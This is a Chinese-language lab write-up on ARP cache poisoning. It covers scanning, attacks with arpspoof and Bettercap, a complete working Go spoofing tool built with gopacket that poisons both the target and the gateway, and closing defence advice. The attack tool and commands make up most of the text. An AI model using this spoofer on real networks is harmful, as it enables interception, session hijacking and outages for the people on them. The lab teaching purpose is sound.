← 返回主页
NOTE

ARP 毒化欺骗

整理 ARP 欺骗原理、影响、检测方法与局域网防护手段。

1. 实验概述

1.1 实验目的

本实验旨在演示ARP欺骗/毒化攻击的原理与实施过程,通过实际操作理解ARP协议的安全漏洞,并尝试使用不同工具及手动编写程序实现ARP欺骗攻击。

1.2 实验原理

ARP(Address Resolution Protocol)协议用于将IP地址解析为MAC地址,但其设计缺乏安全验证机制。攻击者通过发送伪造的ARP响应包,篡改目标主机的ARP缓存表,实现中间人攻击或网络流量劫持。

2. 实验环境

设备类型操作系统IP地址MAC地址角色说明
攻击机Kali Linux192.168.73.13100:0C:29:XX:XX:XX攻击方
靶机Ubuntu192.168.73.12800:0C:29:YY:YY:YY受害方
网关-192.168.73.200:50:56:ZZ:ZZ:ZZ路由设备

:实际MAC地址已用XX/YY/ZZ替代以保护隐私

3. 实验步骤

3.1 环境准备与信息收集

3.1.1 查询网关IP和MAC地址

在攻击机上使用arp -n命令查询网关信息:

arp -n

网关查询结果

3.1.2 扫描获取靶机IP地址

方法一:使用arp-scan命令

arp-scan -l

arp-scan扫描结果

方法二:使用nmap扫描

nmap -sn 192.168.73.0/24

nmap扫描结果

两种方法均发现未知主机192.168.73.128,确定为本次实验目标靶机。

3.2 使用现有工具进行ARP欺骗

3.2.1 使用arpspoof工具

安装工具:

sudo apt-get install dsniff

实施攻击:

# 对靶机进行ARP欺骗,声称攻击机是网关
arpspoof -i eth0 -t 192.168.73.128 192.168.73.2

# 对网关进行ARP欺骗,声称攻击机是靶机
arpspoof -i eth0 -t 192.168.73.2 192.168.73.128

arpspoof攻击过程

验证攻击效果: 在靶机上执行arp -a命令,发现网关的MAC地址已被篡改为攻击机的MAC地址: 靶机ARP表被污染

防止靶机断网: 由于攻击机默认不转发数据包,会导致靶机断网,需要启用IP转发功能:

echo 1 > /proc/sys/net/ipv4/ip_forward

3.2.2 使用Bettercap工具

安装工具:

sudo apt update
sudo apt install bettercap

实施攻击:

# 进入Bettercap交互界面
sudo bettercap

# 在Bettercap环境中设置并启动ARP欺骗
set arp.spoof.targets 192.168.73.128
arp.spoof on

Bettercap攻击界面

Bettercap功能更为强大,集成了多种中间人攻击模块,可作为综合性攻击平台使用。

3.3 手动构建ARP欺骗工具

本节使用Go语言和gopacket库手动编写ARP欺骗工具,深入理解ARP协议和攻击原理。

3.3.1 环境准备

Windows系统需要安装:

Linux系统需要安装:

  • libpcap库

安装Go依赖包:

go get -u github.com/google/gopacket
go get -u github.com/google/gopacket/layers

3.3.2 核心代码实现

1. 发送伪造ARP响应函数

// sendARPResponse 发送伪造的ARP响应包
// 参数说明:
//   handle: pcap句柄,用于发送数据包
//   sourceIP: 伪造的源IP地址(声称的IP)
//   sourceMAC: 伪造的源MAC地址(攻击机MAC)
//   dstIP: 目标IP地址(接收方IP)
//   dstMAC: 目标MAC地址(接收方MAC,可为广播地址)
func sendARPResponse(handle *pcap.Handle,
    sourceIP net.IP, sourceMAC net.HardwareAddr,
    dstIP net.IP, dstMAC net.HardwareAddr) error {
    
    // 如果目的MAC为空,设置为广播地址
    if dstMAC == nil {
        dstMAC = net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}
    }

    // 构建以太网帧头部
    ethernetLayer := &layers.Ethernet{
        SrcMAC:       sourceMAC,
        DstMAC:       dstMAC,
        EthernetType: layers.EthernetTypeARP, // 指定上层协议为ARP
    }

    // 构建ARP层数据
    arpLayer := &layers.ARP{
        AddrType:          layers.LinkTypeEthernet, // 硬件类型:以太网
        Protocol:          layers.EthernetTypeIPv4, // 协议类型:IPv4
        HwAddressSize:     6,                       // MAC地址长度
        ProtAddressSize:   4,                       // IP地址长度
        Operation:         layers.ARPReply,         // 操作类型:ARP响应
        SourceHwAddress:   sourceMAC,               // 源MAC地址(伪造)
        SourceProtAddress: sourceIP.To4(),          // 源IP地址(伪造)
        DstHwAddress:      dstMAC,                  // 目标MAC地址
        DstProtAddress:    dstIP.To4(),             // 目标IP地址
    }

    // 设置序列化选项
    opts := gopacket.SerializeOptions{
        FixLengths:       true,    // 自动修正长度字段
        ComputeChecksums: true,    // 自动计算校验和
    }

    // 序列化数据包
    buffer := gopacket.NewSerializeBuffer()
    err := gopacket.SerializeLayers(buffer, opts, ethernetLayer, arpLayer)
    if err != nil {
        return fmt.Errorf("序列化失败,err:%s", err.Error())
    }

    // 发送数据包
    err = handle.WritePacketData(buffer.Bytes())
    if err != nil {
        return fmt.Errorf("数据发送失败,err:%s", err.Error())
    }
    return nil
}

2. 发送ARP请求函数

// sendARPRequest 发送ARP请求包,用于探测目标MAC地址
// 参数说明:
//   handle: pcap句柄
//   iface: 网络接口信息
//   targetIP: 要探测的目标IP地址
func sendARPRequest(handle *pcap.Handle, iface *net.Interface, targetIP net.IP) error {
    // 获取本机IP和MAC地址
    var sourceIP net.IP
    addrs, err := iface.Addrs()
    if err != nil {
        return fmt.Errorf("获取ip失败,err:%s", err.Error())
    }
    
    // 遍历网络接口地址,找到IPv4地址
    for _, addr := range addrs {
        if ip, ok := addr.(*net.IPNet); ok && !ip.IP.IsLoopback() {
            if ip.IP.To4() != nil {
                sourceIP = ip.IP.To4()
                break
            }
        }
    }

    sourceMAC := iface.HardwareAddr
    dstMAC := net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff} // 广播地址

    // 构建以太网帧
    ethernetLayer := &layers.Ethernet{
        SrcMAC:       sourceMAC,
        DstMAC:       dstMAC,
        EthernetType: layers.EthernetTypeARP,
    }

    // 构建ARP请求包
    arpLayer := &layers.ARP{
        AddrType:          layers.LinkTypeEthernet,
        Protocol:          layers.EthernetTypeIPv4,
        Operation:         layers.ARPRequest,      // 操作类型:ARP请求
        HwAddressSize:     6,
        ProtAddressSize:   4,
        SourceHwAddress:   sourceMAC,              // 本机MAC地址
        SourceProtAddress: sourceIP.To4(),         // 本机IP地址
        DstHwAddress:      dstMAC,                 // 目标MAC地址(广播)
        DstProtAddress:    targetIP.To4(),         // 要解析的目标IP地址
    }

    // 序列化并发送数据包
    opts := gopacket.SerializeOptions{
        FixLengths:       true,
        ComputeChecksums: true,
    }

    buffer := gopacket.NewSerializeBuffer()
    err = gopacket.SerializeLayers(buffer, opts, ethernetLayer, arpLayer)
    if err != nil {
        return fmt.Errorf("序列化错误,err:%s", err.Error())
    }

    err = handle.WritePacketData(buffer.Bytes())
    if err != nil {
        return fmt.Errorf("数据包发送错误,err:%s", err.Error())
    }
    return nil
}

3. 获取MAC地址功能

// getMACFromARPCache 从系统ARP缓存中读取MAC地址
func getMACFromARPCache(device string, targetIP net.IP) (net.HardwareAddr, error) {
    // 读取Linux系统ARP表(/proc/net/arp)
    file, err := os.Open("/proc/net/arp")
    if err != nil {
        return nil, fmt.Errorf("打开文件失败: %v", err)
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    scanner.Scan() // 跳过标题行
    for scanner.Scan() {
        line := scanner.Text()
        fields := strings.Fields(line)
        if len(fields) >= 6 {
            // 检查设备名称和IP地址是否匹配
            if fields[5] == device && fields[0] == targetIP.String() {
                return net.ParseMAC(fields[3]) // 解析MAC地址字段
            }
        }
    }
    return nil, nil
}

// getMAC 获取目标IP的MAC地址
// 先尝试从ARP缓存读取,若无则发送ARP请求探测
func getMAC(handle *pcap.Handle, device string, iface *net.Interface, targetIP net.IP) (net.HardwareAddr, error) {
    // 首先尝试从ARP缓存获取
    mac, err := getMACFromARPCache(device, targetIP)
    if err != nil {
        return nil, err
    }
    if mac != nil {
        return mac, nil
    }

    // 缓存中没有,发送ARP请求探测
    err = sendARPRequest(handle, iface, targetIP)
    if err != nil {
        return nil, err
    }

    // 设置5秒超时
    timeout := time.After(time.Second * 5)

    // 捕获ARP响应包
    source := gopacket.NewPacketSource(handle, handle.LinkType())
    for {
        select {
        case packet := <-source.Packets():
            arpLayer := packet.Layer(layers.LayerTypeARP)
            if arpLayer != nil {
                arp := arpLayer.(*layers.ARP)
                fmt.Printf("收到ARP包,源IP: %s, 目标IP: %s\n", 
                    net.IP(arp.SourceProtAddress), targetIP)
                // 检查是否为目标IP的响应
                if net.IP(arp.SourceProtAddress).Equal(targetIP) {
                    return arp.SourceHwAddress, nil
                }
            }
        case <-timeout:
            return nil, errors.New("获取MAC地址超时")
        }
    }
}

4. 主函数

func main() {
    // 参数验证
    if len(os.Args) != 4 {
        fmt.Printf("用法: %s <网络接口> <目标IP> <网关IP>\n", os.Args[0])
        fmt.Printf("示例: %s eth0 192.168.1.100 192.168.1.1\n", os.Args[0])
        os.Exit(1)
    }

    // 解析命令行参数
    device := os.Args[1]
    target := os.Args[2]
    gateway := os.Args[3]

    // 打开网络设备
    handle, err := pcap.OpenLive(device, 65536, true, pcap.BlockForever)
    if err != nil {
        log.Fatalf("无法打开设备%s,error:%s", device, err.Error())
    }
    defer handle.Close()

    // 获取网络接口信息
    iface, err := net.InterfaceByName(device)
    if err != nil {
        log.Fatalf("无法获取自身信息,error:%s", err.Error())
    }

    // 解析IP地址
    targetIP := net.ParseIP(target)
    gatewayIP := net.ParseIP(gateway)

    // 获取目标MAC地址
    targetMAC, err := getMAC(handle, device, iface, targetIP)
    if err != nil {
        log.Fatalf("获取目标mac失败,error:%s", err.Error())
    }

    // 获取网关MAC地址
    gatewayMAC, err := getMAC(handle, device, iface, gatewayIP)
    if err != nil {
        log.Fatalf("获取网关mac失败,error:%s", err.Error())
    }

    // 打印攻击信息
    fmt.Printf("开始ARP欺骗:\n")
    fmt.Printf("  接口: %s (%s)\n", device, iface.HardwareAddr)
    fmt.Printf("  目标: %s (%s)\n", target, targetMAC)
    fmt.Printf("  网关: %s (%s)\n", gateway, gatewayMAC)

    // 设置信号处理,用于优雅退出
    signalChan := make(chan os.Signal, 1)
    signal.Notify(signalChan, os.Interrupt, syscall.SIGTERM)

    // 每2秒发送一次ARP欺骗包
    ticker := time.NewTicker(time.Second * 2)
    defer ticker.Stop()

    // 主循环
    for {
        select {
        case <-ticker.C:
            // 向目标发送伪造的ARP响应,声称网关MAC是攻击机MAC
            err = sendARPResponse(handle, gatewayIP, iface.HardwareAddr, targetIP, targetMAC)
            if err != nil {
                log.Printf("发送ARP响应失败: %s", err.Error())
            }

            // 向网关发送伪造的ARP响应,声称目标MAC是攻击机MAC
            err = sendARPResponse(handle, targetIP, iface.HardwareAddr, gatewayIP, gatewayMAC)
            if err != nil {
                log.Printf("发送ARP响应失败: %s", err.Error())
            }
            
        case <-signalChan:
            fmt.Printf("\n正在停止攻击并恢复ARP表...")
            
            // 发送正确的ARP响应恢复靶机ARP表
            err = sendARPResponse(handle, gatewayIP, gatewayMAC, targetIP, targetMAC)
            if err != nil {
                log.Printf("恢复ARP表失败: %s", err.Error())
            }

            // 发送正确的ARP响应恢复网关ARP表
            err = sendARPResponse(handle, targetIP, targetMAC, gatewayIP, gatewayMAC)
            if err != nil {
                log.Printf("恢复ARP表失败: %s", err.Error())
            }
            
            fmt.Println("已停止攻击")
            return
        }
    }
}

3.3.3 工具使用与效果验证

编译工具:

go build -o arpspoofer main.go

执行攻击:

sudo ./arpspoofer eth0 192.168.73.128 192.168.73.2

自定义工具攻击过程

攻击前靶机ARP表: 攻击前ARP表

攻击后靶机ARP表: 攻击后ARP表

对比可见,攻击后靶机的ARP表中网关的MAC地址已被篡改为攻击机的MAC地址,证明ARP欺骗成功。

4. 实验分析与防御建议

4.1 实验分析

本次实验成功演示了ARP欺骗攻击的完整过程:

  1. 通过ARP扫描发现目标设备
  2. 使用现成工具和自定义工具实现ARP欺骗
  3. 验证了ARP缓存投毒的效果
  4. 实现了双向欺骗(靶机与网关)

4.2 ARP欺骗的危害

  • 中间人攻击:攻击者可拦截、窃取或篡改通信数据
  • 网络监听:获取网络中的敏感信息
  • 服务拒绝:通过ARP欺骗导致网络连接中断
  • 会话劫持:接管已建立的网络会话

4.3 防御措施

  1. 静态ARP绑定:将重要IP和MAC地址绑定,防止篡改

    arp -s 192.168.73.2 00:50:56:ZZ:ZZ:ZZ
    
  2. 网络监控:使用ARP监控工具检测异常ARP活动

    arpwatch -i eth0
    
  3. 网络分段:使用VLAN等技术减少ARP广播域

  4. 加密通信:使用SSL/TLS等加密协议保护数据传输

  5. 端口安全:交换机端口绑定特定MAC地址